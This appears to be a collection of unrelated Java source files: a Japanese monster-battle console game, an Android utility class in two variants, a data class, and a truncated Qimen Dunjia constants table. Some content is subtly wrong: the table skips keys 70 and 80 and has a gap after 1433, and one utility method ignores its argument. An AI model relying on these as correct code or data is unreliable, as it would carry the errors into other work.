Fushigiyade enemy = new Fushigiyade("やせい","フシギヤデ",20);
prinTextAsGame("あっ! やせいの " + enemy.getCharacter() + " が とびだしてきた!");
//何か入力されるまで待機
System.out.println("▼");
pushBtn();
//自分のモンスターをインスタンス化
System.out.println("");
Hitokake myMonster = new Hitokake("ぼく","カケ郎",21);
prinTextAsGame("ゆけ! " + myMonster.getName() + "!");
//何か入力されるまで待機
System.out.println("▼");
pushBtn();
//バトルで使用するローカル変数の定義
boolean winFlg = true; //勝利フラグ(初期値true)
boolean escapeFlg = false; //逃走フラグ(初期値false)
int turn = 0; //ターン数(初期値0)
int dmg; //与えるダメージ
String cmd; //プレイヤーからの入力コマンド
boolean firstAtkFlg; //先攻フラグ
//どちらかのHPゼロになるか「にげる」が成功するまでバトルを繰り返す
while(myMonster.getHp() > 0 && enemy.getHp() > 0){
//ターン開始時にローカル変数を初期化
turn = turn + 1; //繰り返しのたびにターン数を+1する
dmg = 0;
cmd = null;
firstAtkFlg = true; //先攻フラグ(初期値true)
//ターン数の表示
System.out.println("");
System.out.println("~~~ ターン" + turn + " ~~~");
//互いのステータスを表示
System.out.println("");
System.out.println("あいて:" + enemy.getStatus() );
System.out.println("こちら:" + myMonster.getStatus() );
//getCmdメソッドからコマンドを受け取る
System.out.println("");
cmd = getCmd(myMonster.getName());
//先攻・後攻を決定する
if(myMonster.getSpd() < enemy.getSpd()){
//相手のモンスターとスピードを比較し、相手が速ければ先攻フラグをfalseに変える
firstAtkFlg = false;
}else if (myMonster.getSpd() == enemy.getSpd()){
//スピードが全く同じであれば50%の確率で先攻フラグをfalseに変える
firstAtkFlg = judgeFiftyFifty();
}
if(firstAtkFlg){
//自分のモンスターが先攻の場合
//自分のモンスターの行動
System.out.println("");
if(cmd.equals("1")){
//「たたかう」コマンドの場合
//相手のモンスターにダメージを与える
dmg = enemy.damaged(myMonster.useWaza());
prinTextAsGame(myMonster.getName() + "の " + myMonster.getWazaNm() + " !");
prinTextAsGame(" → " + enemy.getName() + " は " + dmg + " のダメージ を うけた!");
}else if(cmd.equals("2")){
//「にげる」コマンドの場合
//「にげる」が成功した場合は繰り返しを抜け、失敗した場合は「にげられない!」と表示する
escapeFlg = challengeEscape(myMonster.getSpd() , enemy.getSpd());
if(escapeFlg){
break;
}else{
System.out.println("");
prinTextAsGame("にげられない!");
}
}
//何か入力されるまで待機
System.out.println("▼");
pushBtn();
//相手のモンスターの行動(HPがゼロの際は何もしない)
System.out.println("");
if(enemy.getHp() > 0){
//相手のモンスターからダメージを受ける
dmg = myMonster.damaged(enemy.useWaza());
prinTextAsGame(enemy.getName() + "の " + enemy.getWazaNm() + " !");
prinTextAsGame(" → " + myMonster.getName() + " は " + dmg + " のダメージ を うけた!");
//自分のモンスターのHPが0の場合は勝利フラグをfalseに変える
if(myMonster.getHp()==0){
winFlg = false;
}
}
//何か入力されるまで待機
System.out.println("▼");
pushBtn();
}else{
//自分のモンスターが後攻の場合
//相手のモンスターの行動
System.out.println("");
//相手のモンスターからダメージを受ける
dmg = myMonster.damaged(enemy.useWaza());
prinTextAsGame(enemy.getName() + "の " + enemy.getWazaNm() + " !");
prinTextAsGame(" → " + myMonster.getName() + " は " + dmg + " のダメージ を うけた!");
//自分のモンスターのHPが0の場合は勝利フラグをfalseに変える
if(myMonster.getHp()==0){
winFlg = false;
}
//何か入力されるまで待機
System.out.println("▼");
pushBtn();
//自分のモンスターの行動(HPがゼロの際は何もしない)
System.out.println("");
if(myMonster.getHp() > 0){
if(cmd.equals("1")){
//「たたかう」コマンドの場合
//相手のモンスターにダメージを与える
dmg = enemy.damaged(myMonster.useWaza());
prinTextAsGame(myMonster.getName() + "の " + myMonster.getWazaNm() + " !");
prinTextAsGame(" → " + enemy.getName() + " は " + dmg + " のダメージ を うけた!");
}else if(cmd.equals("2")){
//「にげる」コマンドの場合
//「にげる」が成功した場合は繰り返しを抜け、失敗した場合は「にげられない!」と表示する
escapeFlg = challengeEscape(myMonster.getSpd() , enemy.getSpd());
if(escapeFlg){
break;
}else{
System.out.println("");
prinTextAsGame("にげられない!");
}
}
}
//何か入力されるまで待機
System.out.println("▼");
pushBtn();
}
}
//バトル結果
if(escapeFlg){
System.out.println("");
prinTextAsGame("うまく にげきれた!");
}else{
if(winFlg){
System.out.println("");
prinTextAsGame(enemy.getTrainer() + "の " + enemy.getCharacter() + " は たおれた!");
}else{
System.out.println("");
prinTextAsGame(myMonster.getTrainer() + "は めのまえが まっくらに なった!");
}
}
System.out.println("(バトル終了)");
}
//戦闘コマンドを受け付ける
//※内部的に使うメソッドなのでprivate設定にする
private String getCmd(String monsterName) {
BufferedReader br = null;
String cmdin = null;
try {
br = new BufferedReader(new InputStreamReader(System.in));
do {
//
prinTextAsGame(monsterName + "は どうする?");
System.out.println("1:たたかう 2:にげる");
System.out.println("▼");
cmdin = br.readLine();
if(!(cmdin.equals("1") || cmdin.equals("2"))){
System.out.println("[INFO]コマンドが不正です。再入力してください。");
}
} while(!(cmdin.equals("1") || cmdin.equals("2")));
} catch(IOException e) {
e.printStackTrace();
}
return cmdin;
}
//何かしらの入力があるまで待機する
//※内部的に使うメソッドなのでprivate設定にする
private String pushBtn() {
BufferedReader br = null;
String cmdin = null;
try {
br = new BufferedReader(new InputStreamReader(System.in));
cmdin = br.readLine();
System.out.println("");
} catch(IOException e) {
e.printStackTrace();
}
return cmdin;
}
//コマンド「にげる」選択時の処理
//※内部的に使うメソッドなのでprivate設定にする
private boolean challengeEscape(int spMy, int spEn) {
boolean escapeFlag;
//成功率(100を越えることを許す)
int success_rate = (int) ESCAPE_SUCCESS_ST_RATE * spMy / spEn ;
//1~100のランダムな数字を取得
int rndmNum = 1 + (int)(Math.random() * 100.0);
//1~100のランダムな数字より成功率の方が高ければ「逃げる」成功
if(rndmNum < success_rate){
escapeFlag = true;
}else{
escapeFlag = false;
}
return escapeFlag;
}
//50%の確率でtrueを返す(すばやさが同じだった場合にどちらを先攻とするか決める際に使用)
//※内部的に使うメソッドなのでprivate設定にする
private boolean judgeFiftyFifty() {
boolean judge = true ;
//0か1をランダムで取得
int rndmNum = (int)(Math.random() * 2.0);
if(rndmNum == 0){
judge = false ;
}
return judge;
}
//文字をゲームのように表示(50ミリ秒に1文字)
//※内部的に使うメソッドなのでprivate設定にする
private void prinTextAsGame(String txt){
//文字列を配列に1文字ずつセット
char data[] = txt.toCharArray();
//配列数を取得
int arr_num = data.length;
for (int i = 0; i < arr_num; i++) {
try{
//指定ミリ秒の間眠る
Thread.sleep(50);
}catch(InterruptedException e){
e.printStackTrace();
}
System.out.print(data[i]);
}
System.out.print("\n");
}
}
| k-s88/TIL | java/churimon/BattleWild.java |
65,403 |
package com.hyq.robot.DO;
import lombok.Data;
import java.io.Serializable;
import java.util.Date;
/**
* @author nanke
* @date 2021-1-4
* 致终于来到这里的勇敢的人:
* 永远不要放弃!永远不要对自己失望!永远不要逃走辜负了自己。
* 永远不要哭啼!永远不要说再见!永远不要说慌来伤害目己。
*/
@Data
public class SubServiceDO implements Serializable {
/**
* 子服务ID
*/
private Long subId;
/**
* 主服务ID
*/
private Long mainId;
/**
* 服务器名称
*/
private String subServiceName;
/**
* 修改时间
*/
private Date gmtModify;
/**
* 创建时间
*/
private Date gmtCreate;
/**
* 0:否 1:删除
*/
private Integer delete;
}
| HHeyJ/Mirai-Robot | Robot-dao/src/main/java/com/hyq/robot/DO/SubServiceDO.java |
65,404 | package com.vondear.rxtool;
import android.annotation.SuppressLint;
import android.content.Context;
import android.os.Handler;
import android.os.HandlerThread;
import android.text.Editable;
import android.text.InputFilter;
import android.text.InputType;
import android.text.Spanned;
import android.text.TextWatcher;
import android.view.View;
import android.view.ViewGroup;
import android.widget.EditText;
import android.widget.ListAdapter;
import android.widget.ListView;
import android.widget.TextView;
import com.vondear.rxtool.interfaces.OnDoListener;
import com.vondear.rxtool.interfaces.OnSimpleListener;
import com.vondear.rxtool.view.RxToast;
import java.security.MessageDigest;
import java.security.NoSuchAlgorithmException;
import java.util.regex.Matcher;
import java.util.regex.Pattern;
import java.util.regex.PatternSyntaxException;
/**
* @author vondear
* @date 2016/1/24
* RxTools的常用工具类
* <p>
* For the brave souls who get this far: You are the chosen ones,
* the valiant knights of programming who toil away, without rest,
* fixing our most awful code. To you, true saviors, kings of men,
* I say this: never gonna give you up, never gonna let you down,
* never gonna run around and desert you. Never gonna make you cry,
* never gonna say goodbye. Never gonna tell a lie and hurt you.
* <p>
* 致终于来到这里的勇敢的人:
* 你是被上帝选中的人,是英勇的、不敌辛苦的、不眠不休的来修改我们这最棘手的代码的编程骑士。
* 你,我们的救世主,人中之龙,我要对你说:永远不要放弃,永远不要对自己失望,永远不要逃走,辜负了自己,
* 永远不要哭啼,永远不要说再见,永远不要说谎来伤害自己。
*/
public class RxTool {
@SuppressLint("StaticFieldLeak")
private static Context context;
private static long lastClickTime;
/**
* 初始化工具类
*
* @param context 上下文
*/
public static void init(Context context) {
RxTool.context = context.getApplicationContext();
RxCrashTool.init(context);
}
/**
* 在某种获取不到 Context 的情况下,即可以使用才方法获取 Context
* <p>
* 获取ApplicationContext
*
* @return ApplicationContext
*/
public static Context getContext() {
if (context != null) {
return context;
}
throw new NullPointerException("请先调用init()方法");
}
//==============================================================================================延时任务封装 end
//----------------------------------------------------------------------------------------------延时任务封装 start
public static void delayToDo(long delayTime, final OnSimpleListener onSimpleListener) {
new Handler().postDelayed(new Runnable() {
@Override
public void run() {
//execute the task
onSimpleListener.doSomething();
}
}, delayTime);
}
/**
* 倒计时
*
* @param textView 控件
* @param waitTime 倒计时总时长
* @param interval 倒计时的间隔时间
* @param hint 倒计时完毕时显示的文字
*/
public static void countDown(final TextView textView, long waitTime, long interval, final String hint) {
textView.setEnabled(false);
android.os.CountDownTimer timer = new android.os.CountDownTimer(waitTime, interval) {
@SuppressLint("DefaultLocale")
@Override
public void onTick(long millisUntilFinished) {
textView.setText(String.format("剩下 %d S", millisUntilFinished / 1000));
}
@Override
public void onFinish() {
textView.setEnabled(true);
textView.setText(hint);
}
};
timer.start();
}
/**
* 手动计算出listView的高度,但是不再具有滚动效果
*
* @param listView
*/
public static void fixListViewHeight(ListView listView) {
// 如果没有设置数据适配器,则ListView没有子项,返回。
ListAdapter listAdapter = listView.getAdapter();
int totalHeight = 0;
if (listAdapter == null) {
return;
}
for (int index = 0, len = listAdapter.getCount(); index < len; index++) {
View listViewItem = listAdapter.getView(index, null, listView);
// 计算子项View 的宽高
listViewItem.measure(0, 0);
// 计算所有子项的高度
totalHeight += listViewItem.getMeasuredHeight();
}
ViewGroup.LayoutParams params = listView.getLayoutParams();
// listView.getDividerHeight()获取子项间分隔符的高度
// params.height设置ListView完全显示需要的高度
params.height = totalHeight + (listView.getDividerHeight() * (listAdapter.getCount() - 1));
listView.setLayoutParams(params);
}
//---------------------------------------------MD5加密-------------------------------------------
/**
* 生成MD5加密32位字符串
*
* @param MStr :需要加密的字符串
* @return
*/
public static String Md5(String MStr) {
try {
final MessageDigest mDigest = MessageDigest.getInstance("MD5");
mDigest.update(MStr.getBytes());
return bytesToHexString(mDigest.digest());
} catch (NoSuchAlgorithmException e) {
return String.valueOf(MStr.hashCode());
}
}
// MD5内部算法---------------不能修改!
private static String bytesToHexString(byte[] bytes) {
// http://stackoverflow.com/questions/332079
StringBuilder sb = new StringBuilder();
for (int i = 0; i < bytes.length; i++) {
String hex = Integer.toHexString(0xFF & bytes[i]);
if (hex.length() == 1) {
sb.append('0');
}
sb.append(hex);
}
return sb.toString();
}
//============================================MD5加密============================================
/**
* 根据资源名称获取资源 id
* <p>
* 不提倡使用这个方法获取资源,比其直接获取ID效率慢
* <p>
* 例如
* getResources().getIdentifier("ic_launcher", "drawable", getPackageName());
*
* @param context
* @param name
* @param defType
* @return
*/
public final static int getResIdByName(Context context, String name, String defType) {
return context.getResources().getIdentifier(name, defType, context.getPackageName());
}
public static boolean isFastClick(int millisecond) {
long curClickTime = System.currentTimeMillis();
long interval = (curClickTime - lastClickTime);
if (0 < interval && interval < millisecond) {
// 超过点击间隔后再将lastClickTime重置为当前点击时间
return true;
}
lastClickTime = curClickTime;
return false;
}
/**
* Edittext 首位小数点自动加零,最多两位小数
*
* @param editText
*/
public static void setEdTwoDecimal(EditText editText) {
setEdDecimal(editText, 2);
}
/**
* 只允许数字和汉字
* @param editText
*/
public static void setEdType(final EditText editText) {
editText.addTextChangedListener(new TextWatcher() {
@Override
public void
beforeTextChanged(CharSequence s, int start, int count, int after) {
}
@Override
public void
onTextChanged(CharSequence s, int start, int before, int count) {
String editable = editText.getText().toString();
String str = stringFilter(editable);
if (!editable.equals(str)) {
editText.setText(str);
//设置新的光标所在位置
editText.setSelection(str.length());
}
}
@Override
public void
afterTextChanged(Editable s) {
}
});
}
/**
* // 只允许数字和汉字
*
* @param str
* @return
* @throws PatternSyntaxException
*/
public static String stringFilter(String str) throws PatternSyntaxException {
String regEx = "[^0-9\u4E00-\u9FA5]";//正则表达式
Pattern p = Pattern.compile(regEx);
Matcher m = p.matcher(str);
return m.replaceAll("").trim();
}
public static void setEdDecimal(EditText editText, int count) {
if (count < 0) {
count = 0;
}
count += 1;
editText.setInputType(InputType.TYPE_NUMBER_FLAG_DECIMAL | InputType.TYPE_CLASS_NUMBER);
//设置字符过滤
final int finalCount = count;
editText.setFilters(new InputFilter[]{new InputFilter() {
@Override
public CharSequence filter(CharSequence source, int start, int end, Spanned dest, int dstart, int dend) {
if (".".contentEquals(source) && dest.toString().length() == 0) {
return "0.";
}
if (dest.toString().contains(".")) {
int index = dest.toString().indexOf(".");
int mlength = dest.toString().substring(index).length();
if (mlength == finalCount) {
return "";
}
}
if (dest.toString().equals("0") && source.equals("0")) {
return "";
}
return null;
}
}});
}
/**
* @param editText 输入框控件
* @param number 位数
* 1 -> 1
* 2 -> 01
* 3 -> 001
* 4 -> 0001
* @param isStartForZero 是否从000开始
* true -> 从 000 开始
* false -> 从 001 开始
*/
public static void setEditNumberAuto(final EditText editText, final int number, final boolean isStartForZero) {
editText.setOnFocusChangeListener(new View.OnFocusChangeListener() {
@Override
public void onFocusChange(View v, boolean hasFocus) {
if (!hasFocus) {
setEditNumber(editText, number, isStartForZero);
}
}
});
}
/**
* @param editText 输入框控件
* @param number 位数
* 1 -> 1
* 2 -> 01
* 3 -> 001
* 4 -> 0001
* @param isStartForZero 是否从000开始
* true -> 从 000 开始
* false -> 从 001 开始
*/
public static void setEditNumber(EditText editText, int number, boolean isStartForZero) {
StringBuilder s = new StringBuilder(editText.getText().toString());
StringBuilder temp = new StringBuilder();
int i;
for (i = s.length(); i < number; ++i) {
s.insert(0, "0");
}
if (!isStartForZero) {
for (i = 0; i < number; ++i) {
temp.append("0");
}
if (s.toString().equals(temp.toString())) {
s = new StringBuilder(temp.substring(1) + "1");
}
}
editText.setText(s.toString());
}
/**
* 获取
* @return
*/
public static Handler getBackgroundHandler() {
HandlerThread thread = new HandlerThread("background");
thread.start();
return new Handler(thread.getLooper());
}
public static void initFastClickAndVibrate(Context mContext, OnDoListener onRxSimple) {
if (RxTool.isFastClick(RxConstants.FAST_CLICK_TIME)) {
RxToast.normal("请不要重复点击");
return;
} else {
RxVibrateTool.vibrateOnce(mContext, RxConstants.VIBRATE_TIME);
onRxSimple.doSomething();
}
}
}
| hexingbo/RxTools-master | RxKit/src/main/java/com/vondear/rxtool/RxTool.java |
65,405 | package com.saileikeji.wllibrary;
import android.content.Context;
import android.os.Handler;
import android.os.HandlerThread;
import android.text.InputFilter;
import android.text.InputType;
import android.text.Spanned;
import android.view.View;
import android.view.ViewGroup;
import android.widget.EditText;
import android.widget.ListAdapter;
import android.widget.ListView;
import android.widget.TextView;
import java.security.MessageDigest;
import java.security.NoSuchAlgorithmException;
/**
* Created by vondear on 2016/1/24.
* RxTools的常用工具类
* <p>
* For the brave souls who get this far: You are the chosen ones,
* the valiant knights of programming who toil away, without rest,
* fixing our most awful code. To you, true saviors, kings of men,
* I say this: never gonna give you up, never gonna let you down,
* never gonna run around and desert you. Never gonna make you cry,
* never gonna say goodbye. Never gonna tell a lie and hurt you.
* <p>
* 致终于来到这里的勇敢的人:
* 你是被上帝选中的人,是英勇的、不敌辛苦的、不眠不休的来修改我们这最棘手的代码的编程骑士。
* 你,我们的救世主,人中之龙,我要对你说:永远不要放弃,永远不要对自己失望,永远不要逃走,辜负了自己,
* 永远不要哭啼,永远不要说再见,永远不要说谎来伤害自己。
*/
public class Tool {
private static Context context;
private static long lastClickTime;
/**
* 初始化工具类
*
* @param context 上下文
*/
public static void init(Context context) {
Tool.context = context.getApplicationContext();
CrashTool.init(context);
}
/**
* 在某种获取不到 Context 的情况下,即可以使用才方法获取 Context
* <p>
* 获取ApplicationContext
*
* @return ApplicationContext
*/
public static Context getContext() {
if (context != null) return context;
throw new NullPointerException("请先调用init()方法");
}
//==============================================================================================延时任务封装 end
//----------------------------------------------------------------------------------------------延时任务封装 start
/**
* 倒计时
*
* @param textView 控件
* @param waitTime 倒计时总时长
* @param interval 倒计时的间隔时间
* @param hint 倒计时完毕时显示的文字
*/
public static void countDown(final TextView textView, long waitTime, long interval, final String hint) {
textView.setEnabled(false);
android.os.CountDownTimer timer = new android.os.CountDownTimer(waitTime, interval) {
@Override
public void onTick(long millisUntilFinished) {
textView.setText("剩下 " + (millisUntilFinished / 1000) + " S");
}
@Override
public void onFinish() {
textView.setEnabled(true);
textView.setText(hint);
}
};
timer.start();
}
/**
* 手动计算出listView的高度,但是不再具有滚动效果
*
* @param listView
*/
public static void fixListViewHeight(ListView listView) {
// 如果没有设置数据适配器,则ListView没有子项,返回。
ListAdapter listAdapter = listView.getAdapter();
int totalHeight = 0;
if (listAdapter == null) {
return;
}
for (int index = 0, len = listAdapter.getCount(); index < len; index++) {
View listViewItem = listAdapter.getView(index, null, listView);
// 计算子项View 的宽高
listViewItem.measure(0, 0);
// 计算所有子项的高度
totalHeight += listViewItem.getMeasuredHeight();
}
ViewGroup.LayoutParams params = listView.getLayoutParams();
// listView.getDividerHeight()获取子项间分隔符的高度
// params.height设置ListView完全显示需要的高度
params.height = totalHeight + (listView.getDividerHeight() * (listAdapter.getCount() - 1));
listView.setLayoutParams(params);
}
//---------------------------------------------MD5加密-------------------------------------------
/**
* 生成MD5加密32位字符串
*
* @param MStr :需要加密的字符串
* @return
*/
public static String Md5(String MStr) {
try {
final MessageDigest mDigest = MessageDigest.getInstance("MD5");
mDigest.update(MStr.getBytes());
return bytesToHexString(mDigest.digest());
} catch (NoSuchAlgorithmException e) {
return String.valueOf(MStr.hashCode());
}
}
// MD5内部算法---------------不能修改!
private static String bytesToHexString(byte[] bytes) {
// http://stackoverflow.com/questions/332079
StringBuilder sb = new StringBuilder();
for (int i = 0; i < bytes.length; i++) {
String hex = Integer.toHexString(0xFF & bytes[i]);
if (hex.length() == 1) {
sb.append('0');
}
sb.append(hex);
}
return sb.toString();
}
//============================================MD5加密============================================
/**
* 根据资源名称获取资源 id
* <p>
* 不提倡使用这个方法获取资源,比其直接获取ID效率慢
* <p>
* 例如
* getResources().getIdentifier("ic_launcher", "drawable", getPackageName());
*
* @param context
* @param name
* @param defType
* @return
*/
public static final int getResIdByName(Context context, String name, String defType) {
return context.getResources().getIdentifier("ic_launcher", "drawable", context.getPackageName());
}
public static boolean isFastClick(int millisecond) {
long curClickTime = System.currentTimeMillis();
long interval = (curClickTime - lastClickTime);
if (0 < interval && interval < millisecond) {
// 超过点击间隔后再将lastClickTime重置为当前点击时间
return true;
}
lastClickTime = curClickTime;
return false;
}
/**
* Edittext 首位小数点自动加零,最多两位小数
*
* @param editText
*/
public static void setEdTwoDecimal(EditText editText) {
setEdDecimal(editText, 3);
}
public static void setEdDecimal(EditText editText, int count) {
if (count < 1) {
count = 1;
}
editText.setInputType(InputType.TYPE_NUMBER_FLAG_DECIMAL | InputType.TYPE_CLASS_NUMBER);
//设置字符过滤
final int finalCount = count;
editText.setFilters(new InputFilter[]{new InputFilter() {
@Override
public CharSequence filter(CharSequence source, int start, int end, Spanned dest, int dstart, int dend) {
if (source.equals(".") && dest.toString().length() == 0) {
return "0.";
}
if (dest.toString().contains(".")) {
int index = dest.toString().indexOf(".");
int mlength = dest.toString().substring(index).length();
if (mlength == finalCount) {
return "";
}
}
return null;
}
}});
}
public static void setEditNumberPrefix(final EditText edSerialNumber, final int number) {
edSerialNumber.setOnFocusChangeListener(new View.OnFocusChangeListener() {
@Override
public void onFocusChange(View v, boolean hasFocus) {
if (!hasFocus) {
String s = edSerialNumber.getText().toString();
String temp = "";
for (int i = s.length(); i < number; i++) {
s = "0" + s;
}
for (int i = 0; i < number; i++) {
temp += "0";
}
if (s.equals(temp)) {
s = temp.substring(1) + "1";
}
edSerialNumber.setText(s);
}
}
});
}
public static Handler getBackgroundHandler() {
HandlerThread thread = new HandlerThread("background");
thread.start();
Handler mBackgroundHandler = new Handler(thread.getLooper());
return mBackgroundHandler;
}
/**
* 将余额转成小数点为两位的
*/
public static String DoubleTransitionEdit(Double g) {
String cc=new java.text.DecimalFormat("#0.00").format(g);
return cc;
}
}
| njwl434/FinancialPaymentMvp | mylibrary/src/main/java/com/saileikeji/wllibrary/Tool.java |
65,406 | package com.xuan.core.qimen.zhuan;
import java.util.*;
/**
* 奇门遁甲-常量
*
* @author 善待
*/
public class ZhuanQiMenMaps {
/**
* 十二地支
* <p>十二时辰命名:夜半、鸡鸣、平旦、日出、早食、隅中、日中、日昳、晡时、日入、黄昏、人定</p>
*/
public static final String[] DI_ZHI = {"子", "丑", "寅", "卯", "辰", "巳", "午", "未", "申", "酉", "戌", "亥"};
/**
* 公历0~9999年两个日期范围内的三元、局数(适用于年家奇门)
*/
public static final Map<Integer, List<Object>> SAN_YUAN_DATE_RANGE = new HashMap<Integer, List<Object>>() {
private static final long serialVersionUID = -1;
{
put(0, Arrays.asList(0, 3, "中元", 4)); // 公历0~3年:中元,阴遁4局
put(1, Arrays.asList(4, 63, "下元", 7)); // 公历4~63年:下元,阴遁7局
put(2, Arrays.asList(64, 123, "上元", 1)); // 公历64~123年:上元,阴遁1局
put(3, Arrays.asList(124, 183, "中元", 4)); // 公历124~183年:中元,阴遁4局
put(4, Arrays.asList(184, 243, "下元", 7)); // 公历184~243年:下元,阴遁7局
put(5, Arrays.asList(244, 303, "上元", 1)); // 公历244~303年:上元,阴遁1局
put(6, Arrays.asList(304, 363, "中元", 4)); // 公历304~363年:中元,阴遁4局
put(7, Arrays.asList(364, 423, "下元", 7)); // 公历364~423年:下元,阴遁7局
put(8, Arrays.asList(424, 483, "上元", 1)); // 公历424~483年:上元,阴遁1局
put(9, Arrays.asList(484, 543, "中元", 4)); // 公历484~543年:中元,阴遁4局
put(10, Arrays.asList(544, 603, "下元", 7)); // 公历544~603年:下元,阴遁7局
put(11, Arrays.asList(604, 663, "上元", 1)); // 公历604~663年:上元,阴遁1局
put(12, Arrays.asList(664, 723, "中元", 4)); // 公历664~723年:中元,阴遁4局
put(13, Arrays.asList(724, 783, "下元", 7)); // 公历724~783年:下元,阴遁7局
put(14, Arrays.asList(784, 843, "上元", 1)); // 公历784~843年:上元,阴遁1局
put(15, Arrays.asList(844, 903, "中元", 4)); // 公历844~903年:中元,阴遁4局
put(16, Arrays.asList(904, 963, "下元", 7)); // 公历904~963年:下元,阴遁7局
put(17, Arrays.asList(964, 1023, "上元", 1)); // 公历964~1023年:上元,阴遁1局
put(18, Arrays.asList(1024, 1083, "中元", 4)); // 公历1024~1083年:中元,阴遁4局
put(19, Arrays.asList(1084, 1143, "下元", 7)); // 公历1084~1143年:下元,阴遁7局
put(20, Arrays.asList(1144, 1203, "上元", 1)); // 公历1144~1203年:上元,阴遁1局
put(21, Arrays.asList(1204, 1263, "中元", 4)); // 公历1204~1263年:中元,阴遁4局
put(22, Arrays.asList(1264, 1323, "下元", 7)); // 公历1264~1323年:下元,阴遁7局
put(23, Arrays.asList(1324, 1383, "上元", 1)); // 公历1324~1383年:上元,阴遁1局
put(24, Arrays.asList(1384, 1433, "中元", 4)); // 公历1384~1433年:中元,阴遁4局
put(25, Arrays.asList(1444, 1503, "下元", 7)); // 公历1444~1503年:下元,阴遁7局
put(26, Arrays.asList(1504, 1563, "上元", 1)); // 公历1504~1563年:上元,阴遁1局
put(27, Arrays.asList(1564, 1623, "中元", 4)); // 公历1564~1623年:中元,阴遁4局
put(28, Arrays.asList(1624, 1683, "下元", 7)); // 公历1624~1683年:下元,阴遁7局
put(29, Arrays.asList(1684, 1743, "上元", 1)); // 公历1684~1743年:上元,阴遁1局
put(30, Arrays.asList(1744, 1803, "中元", 4)); // 公历1744~1803年:中元,阴遁4局
put(31, Arrays.asList(1804, 1863, "下元", 7)); // 公历1804~1863年:下元,阴遁7局
put(32, Arrays.asList(1864, 1923, "上元", 1)); // 公历1864~1923年:上元,阴遁1局
put(33, Arrays.asList(1924, 1983, "中元", 4)); // 公历1924~1983年:中元,阴遁4局
put(34, Arrays.asList(1984, 2043, "下元", 7)); // 公历1984~2043年:下元,阴遁7局
put(35, Arrays.asList(2044, 2103, "上元", 1)); // 公历2044~2103年:上元,阴遁1局
put(36, Arrays.asList(2104, 2163, "中元", 4)); // 公历2104~2163年:中元,阴遁4局
put(37, Arrays.asList(2164, 2223, "下元", 7)); // 公历2164~2223年:下元,阴遁7局
put(38, Arrays.asList(2224, 2283, "上元", 1)); // 公历2224~2283年:上元,阴遁1局
put(39, Arrays.asList(2284, 2343, "中元", 4)); // 公历2284~2343年:中元,阴遁4局
put(40, Arrays.asList(2344, 2403, "下元", 7)); // 公历2344~2403年:下元,阴遁7局
put(41, Arrays.asList(2404, 2463, "上元", 1)); // 公历2404~2463年:上元,阴遁1局
put(42, Arrays.asList(2464, 2523, "中元", 4)); // 公历2464~2523年:中元,阴遁4局
put(43, Arrays.asList(2524, 2583, "下元", 7)); // 公历2524~2583年:下元,阴遁7局
put(44, Arrays.asList(2584, 2643, "上元", 1)); // 公历2584~2643年:上元,阴遁1局
put(45, Arrays.asList(2644, 2703, "中元", 4)); // 公历2644~2703年:中元,阴遁4局
put(46, Arrays.asList(2704, 2763, "下元", 7)); // 公历2704~2763年:下元,阴遁7局
put(47, Arrays.asList(2764, 2823, "上元", 1)); // 公历2764~2823年:上元,阴遁1局
put(48, Arrays.asList(2824, 2883, "中元", 4)); // 公历2824~2883年:中元,阴遁4局
put(49, Arrays.asList(2884, 2943, "下元", 7)); // 公历2884~2943年:下元,阴遁7局
put(50, Arrays.asList(2944, 3003, "上元", 1)); // 公历2944~3003年:上元,阴遁1局
put(51, Arrays.asList(3004, 3063, "中元", 4)); // 公历3004~3063年:中元,阴遁4局
put(52, Arrays.asList(3064, 3123, "下元", 7)); // 公历3064~3123年:下元,阴遁7局
put(53, Arrays.asList(3124, 3183, "上元", 1)); // 公历3124~3183年:上元,阴遁1局
put(54, Arrays.asList(3184, 3243, "中元", 4)); // 公历3184~3243年:中元,阴遁4局
put(55, Arrays.asList(3244, 3303, "下元", 7)); // 公历3244~3303年:下元,阴遁7局
put(56, Arrays.asList(3304, 3363, "上元", 1)); // 公历3304~3363年:上元,阴遁1局
put(57, Arrays.asList(3364, 3423, "中元", 4)); // 公历3364~3423年:中元,阴遁4局
put(58, Arrays.asList(3424, 3483, "下元", 7)); // 公历3424~3483年:下元,阴遁7局
put(59, Arrays.asList(3484, 3543, "上元", 1)); // 公历3484~3543年:上元,阴遁1局
put(60, Arrays.asList(3544, 3603, "中元", 4)); // 公历3544~3603年:中元,阴遁4局
put(61, Arrays.asList(3604, 3663, "下元", 7)); // 公历3604~3663年:下元,阴遁7局
put(62, Arrays.asList(3664, 3723, "上元", 1)); // 公历3664~3723年:上元,阴遁1局
put(63, Arrays.asList(3724, 3783, "中元", 4)); // 公历3724~3783年:中元,阴遁4局
put(64, Arrays.asList(3784, 3843, "下元", 7)); // 公历3784~3843年:下元,阴遁7局
put(65, Arrays.asList(3844, 3903, "上元", 1)); // 公历3844~3903年:上元,阴遁1局
put(66, Arrays.asList(3904, 3963, "中元", 4)); // 公历3904~3963年:中元,阴遁4局
put(67, Arrays.asList(3964, 4023, "下元", 7)); // 公历3964~4023年:下元,阴遁7局
put(68, Arrays.asList(4024, 4083, "上元", 1)); // 公历4024~4083年:上元,阴遁1局
put(69, Arrays.asList(4084, 4143, "中元", 4)); // 公历4084~4143年:中元,阴遁4局
put(71, Arrays.asList(4144, 4203, "下元", 7)); // 公历4144~4203年:下元,阴遁7局
put(72, Arrays.asList(4204, 4263, "上元", 1)); // 公历4204~4263年:上元,阴遁1局
put(73, Arrays.asList(4264, 4323, "中元", 4)); // 公历4264~4323年:中元,阴遁4局
put(74, Arrays.asList(4324, 4383, "下元", 7)); // 公历4324~4383年:下元,阴遁7局
put(75, Arrays.asList(4384, 4443, "上元", 1)); // 公历4384~4443年:上元,阴遁1局
put(76, Arrays.asList(4444, 4503, "中元", 4)); // 公历4444~4503年:中元,阴遁4局
put(77, Arrays.asList(4504, 4563, "下元", 7)); // 公历4504~4563年:下元,阴遁7局
put(78, Arrays.asList(4564, 4623, "上元", 1)); // 公历4564~4623年:上元,阴遁1局
put(79, Arrays.asList(4624, 4683, "中元", 4)); // 公历4624~4683年:中元,阴遁4局
put(81, Arrays.asList(4684, 4743, "下元", 7)); // 公历4684~4743年:下元,阴遁7局
put(82, Arrays.asList(4744, 4803, "上元", 1)); // 公历4744~4803年:上元,阴遁1局
put(83, Arrays.asList(4804, 4863, "中元", 4)); // 公历4804~4863年:中元,阴遁4局
put(84, Arrays.asList(4864, 4923, "下元", 7)); // 公历4864~4923年:下元,阴遁7局
put(85, Arrays.asList(4924, 4983, "上元", 1)); // 公历4924~4983年:上元,阴遁1局
